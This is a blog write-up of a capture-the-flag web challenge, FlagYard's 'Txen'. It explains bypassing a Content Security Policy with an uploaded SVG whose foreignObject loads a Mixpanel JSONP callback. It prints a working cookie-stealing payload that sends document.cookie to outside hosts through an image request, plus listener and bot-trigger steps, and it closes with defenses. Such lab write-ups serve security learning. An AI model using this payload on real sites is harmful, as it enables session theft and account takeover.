m7eesn blog

Txen – [Web] (Medium) - FlagYard

1. Challenge Overview

Challenge Description

We proudly introduce our latest, completely impractical file-sharing service.

Txen is a web exploitation challenge from FlagYard that presents a deceptively simple file-sharing application. Users can upload files through a straightforward endpoint. The catch? There’s an admin bot that visits user-provided URLs, and hidden somewhere in its browser session is a flag cookie we need to steal.

At first glance, this seems straightforward—upload a malicious SVG, make the bot view it, exfiltrate the cookie. The reality is much trickier. The server has implemented a strict Content Security Policy that blocks most traditional attack vectors. Our task: find a creative bypass that respects the CSP while still executing arbitrary JavaScript in the bot’s browser.


2. Reconnaissance & Initial Analysis

The CSP Gauntlet

The first thing we discover when the bot loads our SVG is the response headers:

HTTP/1.1 200 OK
Content-Type: image/svg+xml
Content-Security-Policy: script-src 'self' *.facebook.com *.mixpanel.com platform.twitter.com syndication.twitter.com;

Let’s break down what this policy allows:

What it blocks:

SVG in the Same-Origin Context

A critical observation: when the server serves our SVG with Content-Type: image/svg+xml and same-origin URL, the browser loads it in the same security context as the main page. This means:

  1. Our SVG can access document.cookie if we execute JavaScript
  2. But CSP still applies—we can’t just inline scripts

However, we notice the CSP doesn’t have explicit frame-src or img-src restrictions. This is important for later.

The Mixpanel Clue

*.mixpanel.com in the CSP is the smoking gun. Mixpanel is a web analytics platform that supports JSONP callbacks. Many analytics endpoints use JSONP for cross-origin requests, accepting a callback parameter and wrapping the response in that callback function.

For example:

https://api.mixpanel.com/track?data=eyJkIjp7fX0=&callback=mycallback

Might return:

mycallback({"status": "ok"})

The key insight: If we can control the callback parameter with an arrow function, we can inject arbitrary code that will execute within the CSP-allowed Mixpanel domain.


3. Building the Exploit

Step 1: Understanding SVG’s foreignObject

SVG has a powerful feature: the <foreignObject> element allows embedding HTML/XML content directly into SVG. When rendered, these foreign objects become part of the DOM in the page’s security context.

<svg xmlns="http://www.w3.org/2000/svg" width="400" height="300">
  <foreignObject x="20" y="90" width="150" height="200">
    <!-- HTML content here gets rendered in the page context -->
    <p xmlns="http://www.w3.org/1999/xhtml">
      <!-- We can embed anything here -->
    </p>
  </foreignObject>
</svg>

The critical detail: the <script> tag within a <foreignObject> respects CSP, but <script src=""> can load from CSP-allowed origins.

Step 2: Crafting the JSONP Callback Payload

We want to execute:

new Image().src = 'https://our-server.com?cookie=' + document.cookie

This sends the cookie to our attacker-controlled server via an image request (a technique that bypasses CORS restrictions since the browser always sends cookies with image requests to same-origin or cross-origin with credentials).

We wrap this in an arrow function as a JSONP callback:

(()=>{new Image().src='https://our-server.com?c='+document.cookie})

But we need to be careful—URL encoding is essential. When we embed this in a URL, special characters like +, &, =, etc., need proper encoding:

(()=>{new Image().src='https://our-server.com?c='%2bdocument.cookie})

(Note: %2b is the URL-encoded form of +)

Step 3: Constructing the Final SVG Payload

Here’s our refined attack vector:

<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject x="20" y="90" width="150" height="200">
    <p xmlns="http://www.w3.org/1999/xhtml">
      <script src="https://api.mixpanel.com/track?data=eyJkIjp7fX0=&amp;ip=1&amp;callback=(()=&gt;{new+Image().src='https://receiver.com?c='%2bdocument.cookie})"></script>
    </p>
  </foreignObject>
</svg>

Breaking this down:


4. Exploitation Workflow

Phase 1: Set Up Command & Control

Before launching the attack, we need a server listening for incoming cookie exfiltration:

# Simple Python HTTP server to capture requests
python3 -m http.server 8000

When the bot visits our payload and the JavaScript executes, we’ll see requests like:

GET /track?c=FLAG{...} HTTP/1.1

Phase 2: Create and Upload the Payload

  1. Save the SVG payload above to a file (e.g., payload.svg)
  2. Upload it to the Txen file-sharing service
  3. The server responds with a URL like https://txen-app.com/public/uploads/abc123.svg

Phase 3: Trigger the Bot

Report the upload URL to the admin bot:

https://txen-app.com/uploads/abc123.svg

Note we removed the /public segment from the URL to match the bot’s expected path.

The bot:

  1. Loads our SVG file
  2. Parses the <foreignObject> and <script> tag
  3. Requests from https://api.mixpanel.com/track?...
  4. Mixpanel wraps our callback and returns the JavaScript
  5. The IIFE executes, creating an Image object
  6. The image src is set to our exfil server with document.cookie appended
  7. The browser sends the request with the bot’s cookies attached
  8. We capture the flag cookie on our server

5. Key Learnings

Why This Works:

Defenses Against This:

  1. Never allowlist third-party analytics or social media domains that support JSONP in CSP
  2. Use strict-dynamic in CSP to prevent script injection vectors
  3. Disable JSONP callbacks or use proper callback validation
  4. Implement SameSite=Strict on sensitive cookies to prevent exfiltration
  5. Use sub-resource integrity (SRI) for external scripts

This challenge perfectly illustrates how even “restrictive” security policies can be bypassed with creative thinking and knowledge of third-party service vulnerabilities.